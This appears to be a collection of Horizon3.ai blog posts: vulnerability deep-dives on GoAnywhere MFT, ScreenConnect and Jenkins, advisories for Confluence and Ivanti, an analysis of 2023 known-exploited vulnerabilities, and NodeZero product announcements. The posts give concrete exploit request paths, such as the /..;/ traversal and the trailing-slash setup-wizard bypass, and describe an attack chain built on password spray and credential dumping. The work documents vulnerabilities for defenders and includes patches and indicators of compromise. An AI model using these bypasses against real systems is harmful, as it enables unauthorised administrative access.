Some organizations don’t realize the value of continuous pentesting until it’s too late and they have a breach or are paying millions of dollars in ransom. For the transportation and supply chain industry, recognizing this importance is critical as it helps proactively identify and address vulnerabilities, preventing potential disruptions, financial losses, and safeguarding the integrity of their intricate and interconnected operations across the globe.

Download PDF

The post Securing the Move: Cyber Resilience in the Transportation and Supply Chain Industry appeared first on Horizon3.ai.

On January 22, 2024 Fortra posted a security advisory for their GoAnywhere MFT product. This advisory details an authentication bypass vulnerability, CVE-2024-0204, that allows an unauthenticated attacker to create an administrative user for the application. Customers were made aware of the issue by an internal security advisory post and patch made available on December 4, 2023, in which researchers malcolm0x and Islam Elrfai were originally credited with the discovery. In 2023, file transfer applications were a top target by threat actors. Our POC can be found here.

Finding The Differences

The advisory mentions that the endpoint /InitialAccountSetup.xhtml can be deleted and the service restarted to mitigate the issue. Looking through the application directories, we find that this endpoint is mapped to the  com.linoma.ga.ui.admin.users.InitialAccountSetupForm class  by inspecting the file GoAnywhere/adminroot/WEB-INF/forms-faces.xml.

Figure 1. Endpoint to Class Mapping

Using advanced tooling, we find that the GoAnywhere/lib/gamft-7.4.0.jar project defines that class.

Figure 2. Finding the InitialAccountSetupForm class

Comparing the jar’s for gamft between 7.4.0 and 7.4.1 reveals that several additional checks were added to the initializer for the InitialAccountSetupForm class.

InitialAccountSetupForm.java

When installing GoAnywhere, the application will first direct users to this endpoint to set up a new administrative user.

Figure 3. Add Administrative User During Install

After install, requesting the supposed vulnerable endpoint directly did not allow us access to the same page and instead redirects the user to the /Dashboard.xhtml endpoint and finally to /auth/Login.xhtml because the user is not authenticated.

Finding this behavior in the application leads us to the com.linoma.dpa.security.SecurityFilter class. This class is called on all requests and performs the doFilter() function, which performs checks for which endpoints are requested and based on the endpoints, user context, and application settings will allow the request to be routed to the correct endpoint.

Figure 4. SecurityFilter class

Inspecting the SecurityFilter class more closely, we find that there are a couple explicit areas that deal with requesting the /InitialAccountSetup.xhtml endpoint mentioned in the advisory.

1. On line 91, if there is no admin user created already and the path is not /wizard/InitialAccountSetup.xhtml then it will properly route you to this setup page.
2. On line 102, if there is an admin user created already and the path is /wizard/InitialAccountSetup.xhtml then redirect to /Dashboard.xhtml.

Figure 5. InitialAccountSetup logic

We considered the patches we observed and this logic, and without a way to pass the isAdminUserCreated check we were unsure exactly how this bypass could occur. Instead of using logic, and instead using our spidey senses, we considered if possibly there was a path normalization issue. Classically for Tomcat based applications, there exist path traversal issues when the request contains /..;/. Trying to request the supposed vulnerable endpoint now with a request that looks like https://192.168.1.1:8001/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml leads to the application now routing us to the setup page again!

Figure 6. Bypassing doFilter() with /..;/

Submitting this form again, while also being careful to re-write the form submission request to include the path traversal, we find that a new administrative user has been created.

Figure 7. Administrative User Added

Our proof-of-concept exploit that adds an administrative user can be found on our GitHub.

Indicators of Compromise

The easiest indicator of compromise that can be analyzed is for any new additions to the Admin Users group in the GoAnywhere administrator portal Users -> Admin Users section. If the attacker has left this user here you may be able to observe its last logon activity here to gauge an approximate date of compromise.

Additionally, logs for the database are stored at \GoAnywhere\userdata\database\goanywhere\log\*.log. These files contain transactional history of the database, for which adding users will create entries.

Figure 8. Indicator of User Additions in Database Logs

The post CVE-2024-0204: Fortra GoAnywhere MFT Authentication Bypass Deep-Dive appeared first on Horizon3.ai.

On 16 January, Atlassian released a security advisory concerning CVE-2023-22527 that affects vulnerable out-of-date versions of Confluence Data Center and Server. Both Confluence Data Center and Server are used by large enterprises and smaller to mid-size businesses respectively for team collaboration and knowledge sharing, and often house sensitive or proprietary information. This critical vulnerability (CVSS Score 10) allows an unauthenticated attacker to achieve remote code execution (RCE). This type of vulnerability is often scored as critical since RCEs can allow an attacker to control and manipulate computer systems from a distance. Although Atlassian just disclosed this vulnerability last week, security researchers are already observing exploitation attempts in the wild.

On 22 January, the non-profit cybersecurity organization The Shadowserver Foundation reportedly observed attempts at exploiting this vulnerability by cyber threat actors. Close to 40,000 exploitation attempts were observed from 600 IP addresses. The cyber threat actors used testing callback attempts and whoami execution in an attempt to look for vulnerable servers that they can compromise and abuse to gain undetected access to victims’ networks.

Who Is Affected? 

Anyone who runs Confluence Data Center and Confluence Server endpoints versions 8.0.x, 8.1.x, 8.2.x, 8.3.x, 8.5.x, and 8.5.0 through 8.5.3 may be impacted by this vulnerability.

How Do I Fix It?

Atlassian recommends that you immediately patch if you are running an out-of-date version of Confluence Data Center and/or Confluence Server. At the time of this publication, there are no known workarounds to remediate this vulnerability. 

How Can NodeZero™️ Help?

As of today, all users running NodeZero™ can run an autonomous pentest to determine if their Atlassian Confluence systems are vulnerable, reachable, and exploitable due to this vulnerability. We also recommend running a follow-on pentest to verify that any remediation steps, like patching in this instance, are effective. 

Example Impacts

Example Attack Path

The post NodeZero Updated With Attack Content for Critical Confluence RCE appeared first on Horizon3.ai.

The post Shifting the Focus to Exploitability in CTEM and ASM appeared first on Horizon3.ai.

On 22 January, Fortra issued an advisory stating that versions of its GoAnywhere Managed File Transfer (MFT) product suffer from an authentication bypass vulnerability. GoAnywhere MFT is, as the name suggests, an enterprise solution for encrypting and transferring data within an organization and to external customers.

This critical vulnerability (CVSS 9.8) is tracked as CVE-2024-0204 and only affects versions of GoAnywhere MFT prior to 7.4.1. Unauthorized individuals can exploit this vulnerability to create an admin user via the administration portal.

Fortra patched the GoAnywhere vulnerability on 7 December 2023 with the release of GoAnywhere MFT 7.4.1. Fortra then publicly disclosed the vulnerability on 22 January after giving customers several weeks to patch.

While Fortra is not aware of any attacks in the wild exploiting this vulnerability, we anticipate that cyber threat actors will likely attempt to take advantage of any unpatched instances of GoAnywhere MFT now that it has been publicly acknowledged.

Who Is Affected?

Anyone who runs a version of Fortra’s GoAnywhere MFT prior to 7.4.1 may be impacted by this vulnerability. According to Fortra, GoAnywhere is the #1 secure file transfer solution and serves 4,000+ customers in 100+ countries. Organizations in healthcare, finance, insurance, transportation, government, real estate, and other industries use the solution and could be at risk of exploitation if they are not running the patched version.

How Do I Fix It?

Fortra recommends upgrading to version 7.4.1 or higher. According to Fortra, this vulnerability may also be eliminated in non-container deployments by deleting the InitialAccountSetup.xhtml file in the install directory and restarting the services. For container-deployed instances, replace the file with an empty file and restart.

How Can NodeZero™️ Help?

As of today, all users running NodeZero™️ can run an autonomous pentest to determine if their systems are vulnerable, reachable, and exploitable due to this vulnerability. We also recommend running a follow-on pentest to determine that any remediation steps taken are effective.

Example Attack Path:

Example Proof:

To read more about this vulnerability and how it works, please see the Horizon3.ai Attack Team blog titled, “CVE-2024-0204: Fortra GoAnywhere MFT Authentication Bypass Deep-Dive.”

The post CVE-2024-0204: Check Critical Fortra GoAnywhere MFT Authentication Bypass with NodeZero™️ Now! appeared first on Horizon3.ai.

Last Wednesday, on January 24, 2024, the Jenkins team issued a security advisory disclosing a critical vulnerability, CVE-2024-23897, affecting the Jenkins CI/CD tool. This advisory set off alarm bells among the infosec community because the potential impact is huge: Jenkins is widely deployed, with tens of thousands of public-facing installs, and the Jenkins advisory was clear that this vulnerability could lead to remote code execution. Jenkins is a common target for attackers, and, as of this writing, there are four prior Jenkins-related vulnerabilities in CISA’s catalog of Known Exploited Vulnerabilities.

Our advice for users of Jenkins is don’t panic… unless you need to. This is a textbook example of a vulnerability whose true impact can only be accurately assessed within the context of your environment. The typical Jenkins install will not be exploitable by unauthenticated attackers. However, there are a few factors that could significantly increase the potential for damage, elevating this to a truly critical vulnerability. We’ll discuss these factors in this post, as well as how the NodeZero platform can be used to provide an accurate assessment of risk.

Background

CVE-2023-23897 resides in the Jenkins CLI, an alternative way for users to interact with Jenkins without going through web interface. The CLI is enabled by default. Vulnerable Jenkins servers misinterpret command line arguments supplied by users to the CLI. Specifically, CLI arguments preprended by @ are incorrectly interpreted as files that need to be opened to read in arguments, and in some cases the lines in these files are echo’d back as part of error messages to the CLI user. A detailed technical explanation is available here from Yaniz Nizry of Sonarsource, who discovered the vulnerability.

An unauthenticated attacker with no permissions (i.e. the default Jenkins install) can leak the first couple of lines of arbitrary text files on a vulnerable Jenkins server. For instance, here’s an example of retrieving the first few lines of the C:\windows\win.ini file using the CLI help command.

An authenticated attacker can retrieve entire text files, using the connect-node CLI command:

Dangerous Configuration Options

There are two dangerous Jenkins configuration options that allow unauthenticated attackers to effectively act like authenticated attackers. The “Allow users to sign up” option allows anyone with access to the Jenkins instance to self-register an account. And the “Allow anonymous read access” option gives everyone the Overall/Read permission.

For instance here’s an example of an unauthenticated attacker reading the /etc/passwd file off a Jenkins server that has been enabled with the “Allow anonymous read access” option:

Reading Binary Files

Binary files can also be read but the Jenkins server will try to convert them into text, using the default character encoding set defined for the Jenkins server. Binary characters outside the character encoding set will be returned in mangled/unusable form back to the CLI user. According to the Jenkins advisory, if Jenkins is running on Linux, where the default character encoding set is UTF-8, an average of half the characters in binary files will end up being mangled. However, if Jenkins is running on Windows, where the default character encoding set is Windows 1252, a much smaller percentage (5/256) of the characters would be mangled on average. Therefore it may be possible for an attacker targeting a Jenkins server running on Windows to re-construct secrets contained in binary files. This is significant because the hudson.util.Secret file is a small binary file that contains an encrypted key used to encrypt other secrets.

Here’s an example of trying to read the hudson.util.Secret file on Linux:

Remote Code Execution and Credential Dumping

Given the above, how likely is it that an attacker can use this vulnerability to achieve remote code execution or dump credentials stored within Jenkins? We put together the following risk matrix:

How NodeZero Assesses CVE-2024-23897

One of the core functions of the NodeZero platform is exploiting vulnerabilities to help practitioners understand the true risk of these vulnerabilities and to plan remediation accordingly.

To assess this particular vulnerability, NodeZero performs the following steps:

• Determines if the Jenkins server is vulnerable using the X-Jenkins version header present in HTTP responses.
• Benignly exploits the vulnerability by attempting to read the /etc/passwd and C:\windows\win.ini file from the server
  • This is done using multiple Jenkins CLI commands to determine if an unauthenticated attacker has no permissions (can only partially read files) or Overall/Read permissions (can fully read files)
  • This helps determine if the Jenkins server is running on Linux or Windows
  • NodeZero also accounts for Jenkins servers running behind reverse proxies, which may or may not be exploitable.
• Checks if user self signup is enabled.

By default, NodeZero assigns this particular vulnerability a base score of 8.1 (High). This is the score we’d expect for typical Jenkins installs that haven’t been patched for this vulnerability but are using default configuration options and are running on Linux. The proof that NodeZero captures for the vulnerability shows the partial contents of the /etc/passwd file:

If NodeZero finds that any of the following conditions are true, it elevates the score to 9.5 (Critical):

• Unauthenticated attacker has Overall/Read permissions
• User self signup is enabled
• The Jenkins server is running on Windows

For instance, on this Jenkins server, self signup is enabled, and anonymous users are configured with Overall/Read permissions, enabling unauthenticated attackers to read the full content of text files:

Here’s a Jenkins server running on Windows where only partial file read is possible, but there’s a chance attackers may still be able to recover secrets stored in binary files, leading to further compromise:

Finally, it’s not always possible to exploit this vulnerability, particularly if the Jenkins server is running behind a reverse proxy. NodeZero will mark vulnerabilities for which exploits have failed with a failure reason and downgrade the severity of the vulnerability accordingly.

Remediation

Updating to at least Jenkins versions 2.442 and 2.426.3 (long-term support version) will address this vulnerability. It is also possible to mitigate by disabling the Jenkins CLI, as described here.

We recommend patching immediately if NodeZero identifies conditions that elevate this to a critical severity. Note that if you’re running Jenkins on the Internet, the dangerous configuration options of anonymous read access and self signup should never be enabled. NodeZero will surface these misconfigurations as additional weaknesses.

Even if NodeZero doesn’t identify CVE-2024-23897 as a critical vulnerability, it still merits patching. It is entirely possible for attackers to acquire credentials for valid users through attacks such as password spray, and then exploit CVE-2024-23897 as an authenticated user to read arbitrary files.

References

• Jenkins Advisory
• Jenkins Patch Workaround
• SonarSource Researcher Writeup
• CVE-2024-23897

The post CVE-2024-23897: Assessing the Impact of the Jenkins Arbitrary File Leak Vulnerability appeared first on Horizon3.ai.

On 24 January 2024, the Jenkins team issued a security advisory disclosing a critical vulnerability that affects the Jenkins CI/CD tool. Jenkins is a Java-based open-source automation server run by over 1 million users that helps developers build, test and deploy applications, enabling continuous integration and continuous delivery.

The critical vulnerability is tracked as CVE-2024-23897 and affects Jenkins 2.441 and earlier. LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces the ‘@’ character followed by a file path in an argument with the file’s contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system that can lead to RCE.

According to security researchers from ShadowServer, there are approximately 45,000 unpatched Jenkins instances, most of which are in China (12,000) and the United States (11,830).

Two Proof of Concepts (PoCs) exploits have been released to the public and could be leveraged by attackers to compromise unpatched Jenkins servers. According to the Cyber Security Agency (CSA) of Singapore, as of 30 January 2024, the vulnerability is reportedly being actively exploited.

Who Is Affected?

Anyone who is running Jenkins 2.441 and earlier is affected by this vulnerability.

How Can I Fix It?

Jenkins users are urged to upgrade to Jenkins 2.442 and LTS 2.426.3.  

How Can NodeZero Help? 

All NodeZero™️ users can run an autonomous pentest to determine if their systems are vulnerable to the Jenkins vulnerability. We also recommend running a follow-on pentest to verify that any remediation steps taken, such as patching, are effective. 

Example Top Weaknesses and Impacts:

Example Attack Path:

If you want to read more, please read Horizon3.ai’s Attack Team’s blog titled, “CVE-2024-23897: Assessing the Impact of the Jenkins Arbitrary File Leak Vulnerability.”

The post CVE-2024-23897: Check Critical Jenkins Arbitrary File Leak Vulnerability Now! appeared first on Horizon3.ai.

On 22 January, Ivanti published an advisory stating that they discovered two new, high-severity vulnerabilities (CVE-2024-21888 and CVE-2024-21893) after researching previously reported vulnerabilities affecting Ivanti Connect Secure, Ivanti Policy Secure and ZTA gateways. Ivanti provides enterprise solutions, including patch management and IT security solutions to over 40,000 customers worldwide.

While there is no evidence of any customers being impacted by CVE-2024-21888, Ivanti has acknowledged CVE-2024-21893 has impacted some customers in targeted instances. 

• CVE-2024-21888 (CVSS Score 8.8) – A privilege of escalation vulnerability in the web component of Ivanti Connect Secure (9.x.22.x) and Ivanti Policy Secure (9.x.22.x) allows a user to elevate privileges to that of an administrator.  
• CVE-2024-21893 (CVSS Score 8.2) – A server-side request vulnerability in the SAML component of Ivanti Connect Secure (9.x.22.x), Ivanti Policy Secure (9.x.22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication. 

In response to the new Ivanti vulnerabilities, the Cybersecurity & Infrastructure Security Agency (CISA) ordered all federal government agencies to disconnect all instances of Ivanti Connect Secure and Ivanti Policy Secure from their networks until proper mitigation steps are taken and reported to CISA.

Who is Affected?

Users who are running Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA.

How Can I Fix It?

Ivanti has released patches for Ivanti Connect Secure (versions 9.1R14.4, 9.1R17.2, 9.1R18.3, 22.4R2.2, 22.5R1.1 and 22.5R2.2) and Ivanti Policy Secure version 22.5R1.1 and ZTA version 22.6R1.3.

According to Ivanti, users can also import the “mitigation.release.20240126.5.xml file as a temporary workaround.

How Can NodeZero Help?

All NodeZero™️ users can run an autonomous pentest to determine if their systems are vulnerable to the Ivanti vulnerability. We also recommend running a follow-on pentest to verify that any remediation steps taken, such as patching, are effective.

Example Impacts:

Example Attack Path:

The post CVE-2024-21893: Another Ivanti Vulnerability Exploited in the Wild. Verify with NodeZero Today! appeared first on Horizon3.ai.

Introduction

Memory safety issues have plagued the software industry for decades. The Cybersecurity & Infrastructure Security Agency (CISA) has been leading a charge for secure-by-design and encouraging developers and vendors to utilize memory safe languages like Rust to eradicate this vulnerability class. 

Google Chromium, the engine used by the majority of browsers around the world, reports that approximately 70% of their high severity issues are memory safety issues. Microsoft reports the same percent of issues affecting it’s Windows OS are also memory safety. But, what vulnerabilities are being exploited by threat actors today? CISA maintains and publishes its Known Exploited Vulnerability (KEV) catalog of all vulnerabilities that they have insight into having been exploited by threat actors. 

We have analyzed all critical vulnerabilities from the CISA KEV catalog starting from January 2023 through January 2024, categorized the vulnerability root causes, and attempted to analyze if the current efforts in the information security industry match with the current threat vectors being abused.

Executive Overview

1. Insecure Exposed Functions Lead the CISA KEV

Nearly half of vulnerabilities are enabled by insecure exposed functions. At a strategic level we’ve seen recent pushes for security improvements by pursuing memory safe languages and software bill of materials (SBOM), but a seemingly asymmetric amount of effort or strategy around addressing this vulnerability category.

Figure 1. Vulnerabilities by Root Cause

Vulnerabilities fall into this category when:

• It is not apparent that the developer made any effort to prevent an unauthenticated user from reaching dangerous code
• Often, the exposed dangerous code allows authorization bypass or remote code execution via insecure usage of command execution libraries, unrestricted deserialization, or file operations.

2. Rust Won’t Save Us, But It Will Help Us

Memory safety issues were the second (tied) leading cause of vulnerabilities in the data set, coming in at 20%. Interestingly, 75% of the analyzed memory safety vulnerabilities have been exploited as 0-days by threat actors. Additionally, 25% were discovered by security researchers and retroactively discovered to have been exploited as 0-days. When vulnerabilities are exploited as 0-days they typically have a much more widespread effect on the world given that patches often lag by weeks once they are discovered.

Figure 2. Vulnerabilities due to Memory Corruption

3. Web Routing and Path Abuse Tied for Second

Nearly 20% of vulnerabilities in Figure 1 are the result of routing and path abuse in web applications. These vulnerabilities typically manifest in the “glue” between web frameworks when a developer attempts to route application traffic from one service to another.

Vulnerabilities fall into this category when:

• The developer has made an apparent effort to prevent an unauthenticated user from reaching dangerous code. Developer mistakes include reverse proxy regex issues, framework filter issues, path normalization issues, and internal application path inspection issues.
• Similarly, once this code is reached, developers have abandoned defense-in-depth and secure coding practices which allow abuse of insecure functions.

4. Threat Actors Love Exploiting Appliances

This isn’t a new trend, but its clear from the analysis that they are the target of choice coming in at 49%. They’re commonly found on network boundaries and exposed to the internet. They also have low defender visibility – no PSP’s installed and sparse logging.

Figure 3. Vulnerability by Software Type

For the purpose of this analysis, appliances are any product or software that is commonly deployed as a hardware appliance or as a virtual appliance.

Technical Breakdown

There are 212 vulnerabilities that have been added to the CISA KEV catalog since the start of 2023. Of that, only 41 vulnerabilities are rated critical. Below is a snapshot of those 41 vulnerabilities and the root cause leading to the vulnerability being exploitable.

CVE-2023-34362: Progress MOVEit Transfer

Category: Routing / Path Abuse

Reference: Horizon3.ai

The application exposed an endpoint, /moveitisapi/moveitisapi?action=m2, that attempted to limit functionality to just localhost, but had a header parsing bug leading to any function being reachable.

Figure 4. Header Bypass to Invoke Arbitrary Function

CVE-2023-20887: VMware Aria for Operations for Networks

Category: Routing / Path Abuse

Reference: @SinSinology

A lax rewrite rule in the appliance’s Nginx configuration allowed an attacker to reach services which were meant to be unexposed. The request /saas./resttosaasservlet will route to /resttosaasservlet.

Figure 5. nginx Routing Bypass

CVE-2023-20198: Cisco IOS XE

Category: Routing / Path Abuse

Reference: Horizon3.ai

The appliance’s routing rules for which requests required authentication did not account for double URL encoded paths.

Figure 6. Double URL Encoded Path Authentication Bypass

CVE-2023-33246: Apache RocketMQ

Category: Insecure Exposed Function

Reference: Rapid7

The application insecurely exposed an endpoint that calls Java’s getRuntime().exec() with an attacker controlled variable.

Figure 7. FilterServerUtil getRuntime().exec()

CVE-2023-22515: Atlassian Confluence

Category: Insecure Exposed Function

Reference: Rapid7

The application insecurely exposed an endpoint, /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false, that allows modification to the server’s configuration state. Setting this state to false allows an attacker to re-enter application setup and add an administrative user.

Figure 8. Exposed Configuration Endpoint

CVE-2023-47246: SysAid Server

Category: Insecure Exposed Function

Reference: Huntress

The application exposed an endpoint, /userentry?accountId=/../../../tomcat/webapps/<webshell_dir>, which wrote attacker controlled data to a filepath also influenced by the attacker, but vulnerable to path traversal in the parameter.

Figure 9. Insecure File Write

CVE-2023-1671: Sophos Web Appliance

Category: Insecure Exposed Function

Reference: VulnCheck

The application insecurely exposed an endpoint, /index.php?c=blocked&action=continue, which did not sufficiently sanitize user input which results in second-order command injection.

Figure 10. Sanitization Bypass to Command Injection 

CVE-2023-27350: PaperCut MF / NG

Category: Insecure Exposed Function

Reference: Horizon3.ai

The application insecurely exposed an endpoint, /app?service=page/SetupComplete, used for first time administrator login during the install process.

Figure 11. Exposed SetupComplete formSubmit()

CVE-2023-46747: F5 BIG-IP

Category: Request Smuggling

Reference: Praetorian

The appliance used a custom Apache library which contained a known request-smuggling vulnerability: CVE-2022-26377. By abusing this vulnerability, with specific considerations for the F5 application stack, authentication bypass was achieved.

Figure 12. Request Smuggling Payload

CVE-2023- : Apache SuperSet

Category: Default Secret

Reference: Horizon3.ai

The application sets the underly Flask SECRET_KEY to a default value. This secret key is used to create session tokens, which can be forged when the secret key is known.

Figure 13. Default SECRET_KEY

CVE-2023-38203: Adobe ColdFusion

Category: Insecure Exposed Function

Reference: Project Discovery

The application exposed an insecure function at the endpoint, /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true, which called a dangerous Java sink with attacker controlled input leading to deserialization.

Figure 14. Call to WDDXDeserialize() with Attacker Controlled Input

Conclusion and Looking Ahead

The lions share of vulnerabilities that are being exploited in the last year are trivial to exploit. While memory safe languages like Rust may help eliminate some of portion of breaches, there is much work to do to address the risk that comes with building complex software systems.

Looking at 2024 and beyond my advice would be:

1. Vendors
   1. Develop the depth of knowledge of your engineers in the frameworks they use
   2. Harden, standardize, and audit the use of those frameworks across products
   3. Enable and expose verbose logging for your products
2. Developers
   1. Assume all code you write is reachable from an unauthenticated context
   2. Practice defense-in-depth programming and don’t make it easy for an attacker to shell out
3. Defenders
   1. Reduce any attack surface exposed to the internet if its not needed there
   2. Proactively enable logging, and remote logging if possible, for all products that touch the internet
4. Researchers
   1. Look for bugs in the places frameworks come together

We’re already seeing similar trends in 2024 with the recently exploited Ivanti Connect Secure vulnerabilities back-to-back – more path abuse and SSRF to “RCE-as-a-feature” code. An interesting attack surface surrounding application re-initialization vulnerabilities has sprung up this last year and I think we’ll continue to see similar vulnerabilities discovered.

Community

This analysis is made possible by the collective information security community publishing their analysis and research to the world. The following organizations or people were referenced while performing this research:

Rapid7, Mandiant, Project Discovery, Praetorian, VulnCheck, Huntress, SonarSource, AssetNote, BishopFox, Lexfo, Palo Alto Networks, and many more.

Analysis Bias

This is an analysis based on my observations as both a software engineer and a vulnerability researcher. The analysis likely has bias and shortcoming stemming from:

1. Only considering the vulnerabilities that have been discovered recently
   1. My assumption is that more recent vulnerabilities are better representative of this issues that affect us today
2. Filtering Vulnerabilities Based on CVSS 3.0 >= 9 Score
   1. There are vulnerabilities in KEV that are not critically scored but can been combined with other vulnerabilities to achieve some critical effect

Raw Data

The full spreadsheet of all 41 vulnerabilities and their analysis can be found here.

RingZer0 Conference

This research was done in preparation for a talk I’ll be giving at RingZer0’s BOOTSTRAP conference on Friday, February 23.  I’ll briefly touch on this research along with vulnerability research I’ve conducted against Fortinet appliances over the last year that fall directly in line with the trends highlighted here.

The post Rust Won’t Save Us: An Analysis of 2023’s Known Exploited Vulnerabilities appeared first on Horizon3.ai.

On January 19, 2024, Microsoft disclosed a major security incident in which the email of Microsoft senior executives and other staff were accessed by Midnight Blizzard a.k.a Cozy Bear, a nation-state threat actor affiliated with Russia. Microsoft determined that the actor got initial access using password spray to compromise a legacy non-production test tenant account in Microsoft Entra ID (formerly Azure AD). The actor then moved laterally using the excessive permissions granted to that test account to access the email of Microsoft employees.

Password spray is a surprisingly simple and effective technique we’ve written about before. In a password spray attack, an attacker tries to login to a lot of accounts using a few probable passwords, with the hope that at least one account is using a weak password.

In this real-world external pentest, we’ll show NodeZero conducting a password spray attack against Microsoft Entra ID to get initial access to a client’s tenant account, similar to what Midnight Blizzard did. From there NodeZero detects that multi-factor authentication is disabled and breaks into the email of the compromised user.

A Real World Example

In this example, a client conducted an external pentest using NodeZero. NodeZero ran from Horizon3.ai’s cloud environment and was not provided any credentials.

Configuring an External Pentest for Password Spray

When defining the assets in scope for this pentest, the client provided NodeZero a list of company-owned domains. NodeZero uses these domains to enumerate Azure tenants that belong to the client.

In the Attack Configuration for the pentest, the MS Entra (Azure AD) Password Spray flag was also enabled. This is on by default.

To avoid locking out accounts, NodeZero only attempts three passwords an hour. A duration of time can be set for how long the pentest runs, in order to get in more password spray attempts.

Attack Path

Here are the steps NodeZero took in this test to get to business email compromise:

1. NodeZero used the provided domains to discover a Microsoft Entra tenant associated with the client.
2. NodeZero used open source intelligence (OSINT) to discover potential usernames associated with the client.
3. NodeZero verified which users are actual users belonging to the client’s tenant.
4. NodeZero sprayed a highly probable password against all verified users. One of the users hit!
5. NodeZero then discovered that MFA was disabled for the user. NodeZero logged into the user’s account and acquired an Azure access and refresh token.
6. NodeZero then accessed the user’s Microsoft365 inbox.

The full attack path is shown below:

Takeaways

It took NodeZero less than 10 minutes to execute this attack path leading to business email compromise, starting with no privileges in the form of credentials or network access. This attack was performed autonomously with no human assistance or prior scripting.

The impact of business email compromise is huge. Not only can attackers access potentially sensitive data, they can use the compromised account to conduct lateral phishing attacks and further escalate privileges.

Microsoft has been rolling out MFA for all its tenants, but in practice we’ve seen that there have been gaps in this rollout, just as Microsoft experienced with its own legacy test tenant. The application of MFA also depends on how the tenant is configured. Use NodeZero to verify your true security posture!

The post NodeZero APT: Azure Password Spray Leads to Business Email Compromise appeared first on Horizon3.ai.

“Who cares that the intern was phished during our phishing campaign? It’s an intern, they don’t have access to anything important.”

As a security practitioner, that mindset among business leaders drove me nuts. There are many ways a credential as innocuous as an intern’s could be used by an attacker to compromise a domain or gain access to sensitive data, but it was very difficult to articulate the “blast radius” of a phished credential.

That’s why I’m really excited to launch the new Phishing test type within NodeZero…

The NodeZero Phishing Impact test is first-to-market and gives you the ammunition required to drive meaningful improvements to the credential attack surface of your organization.

“Actually boss, the intern’s credentials enabled the attacker—NodeZero—to gain access to our sensitive financial data. Take a look for yourself…”

Why is understanding the blast radius of a phished credential important? Here’s a real-world example of how a phished credential led to a domain admin compromise…

Setup:

1. A phishing campaign was configured and executed using KnowBe4.
2. A few lines of javascript were added to the fake KnowBe4 page to safely channel phished credentials into a running NodeZero internal pentest.
3. As phished credentials started flowing into NodeZero, NodeZero used them as part of its attack.

Attack path:

1. NodeZero uses the phished credential to successfully exploit PrintNightmare on Host1. PrintNightmare (CVE-2021-34527) is a remote code execution vulnerability in the Windows Print Spooler service that allows an attacker to run arbitrary code with system privileges. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.
2. With those system privileges, NodeZero successfully drops a remote access tool (RAT) on the compromised host, which allows it to access sensitive processes like Security Account Manager (SAM), LSA, etc. A properly configured EDR like CrowdStrike, SentinelOne, or Fortinet is supposed to prevent the RAT from successfully deploying, but it’s easy to misconfigure these tools.
3. With the RAT successfully deployed, NodeZero then dumps SAM and harvests several user-ids and their corresponding NTLM hashes. SAM is a database that is present on Windows machines that stores user accounts and security descriptors for users on that machine.
4. The compromised credential has both local admin privileges on the host and has domain admin privileges within the domain. This means the attacker (NodeZero) now has the keys to the kingdom.

tl;dr PrintNightmare is the CVE that enabled the attack path. An attacker requires a valid domain user credential in order to exploit Printnightmare. In this case, the attacker – NodeZero – successfully obtained that valid domain user credential via the phishing integration.

In addition, the customer had to investigate why their EDR did not successfully stop the deployment of the RAT on the compromised host, which provided the second critical step in the journey to domain admin compromise.

The post Gone Phishing: How an Intern’s Credentials can be a Gateway to Your Crown Jewels appeared first on Horizon3.ai.

Business Wire 02/07/2024

Horizon3.ai, a pioneer in autonomous security solutions, today announced the launch of its first-to-market Phishing Impact test capability within NodeZero™. This new capability marks a significant…

Read the entire article here

The post Horizon3.ai Unveils Phishing Impact Testing to Help Organizations Understand the Impact of Phished Credentials appeared first on Horizon3.ai.

Horizon3.ai introduces a groundbreaking test type in its NodeZero^TM platform: the Phishing Impact test. It delivers tangible insights into the potential consequences of phishing attacks on your organization’s infrastructure.

The post Introducing the NodeZero Phishing Impact Test appeared first on Horizon3.ai.

Introduction

On February 19, 2023, ConnectWise published a security advisory for their ScreenConnect remote management tool. In the advisory, they describe two vulnerabilities, an authentication bypass with CVSS 10.0 and a path traversal with CVSS 8.4 (both currently without assigned CVE IDs). In this post we will dive into the technical details of the authentication bypass. You can view our POC here.

Update: On February 21, 2023, the authentication bypass vulnerability was assigned as CVE-2024-1709 and added to CISA’s Known Exploited Vulnerability (KEV) catalog.

Patch Diffing

Comparing versions 23.9.7.8804 and 23.9.8.8811, we find a small update to SetupWizard.aspx. We see that a check was added to make sure that the initial application setup has not been completed if a user it trying to access the SetupWizard. The SetupWizard is responsible for creating an initial user and password, so it makes sense that this page should be locked down after an initial user has been created.

Figure 1. SetupWizard.aspx

The Vulnerability

There is a HTTP request filter in SetupModule.cs that has two responsibilities:

• If the application hasn’t been setup, redirect all requests to SetupWizard.aspx
• If the application has been setup, deny any requests to SetupWizard.aspx or redirect to Administration.aspx

Figure 2. SetupModule.cs OnBeginRequest

However, there is an issue with how this code checks if the request URL is SetupPage.aspx. The use of string.Equals checks for exact equality, so a URL like <app_url>/SetupWizard.aspx will match. However, there are other URLs that resolve to SetupWizard.aspx that don’t match. If we simply add a forward slash to the end of the URL (<app_url>/SetupWizard.aspx/) we get access to the setup wizard, even after the application is already setup.

Figure 3. SetupWizard.aspx

We can observe the differences in responses using Burp Suite. Notice the request path /SetupWizard.aspx responds with a 302, but the malicious path /SetupWizard.aspx/ responds with a 200.

Figure 4. SetupWizard.aspx responses

Indicators of Compromise

The application’s Admin -> Audit page displays a list of recent login attempts along with the IP address. You can check this page for any unrecognized users or IP addresses.

Figure 4. Audit Logs

As soon as we had sufficient information, we shared it with GreyNoise for which they developed a tag. Check out their tag here: https://viz.greynoise.io/tags/connectwise-screenconnect-auth-bypass-rce-attempt?days=1

Summary

This vulnerability allows an attacker to create their own administrative user on the ScreenConnect server, giving them full control over the server. This vulnerability follows a theme of other recent vulnerabilities that allow attackers to reinitialize applications or create initial users after setup. See our recent writeup for a CVE-2024-0204 as an example.

Unfortunately, this vulnerability has not yet been assigned a CVE. Users of ConnectWise ScreenConnect should patch immediately to prevent attackers from leveraging this vulnerability.

NodeZero

Horizon3.ai clients and free-trial users alike can run a NodeZero operation to determine the exposure and exploitability of this issue.

Sign up for a free trial and quickly verify you’re not exploitable.

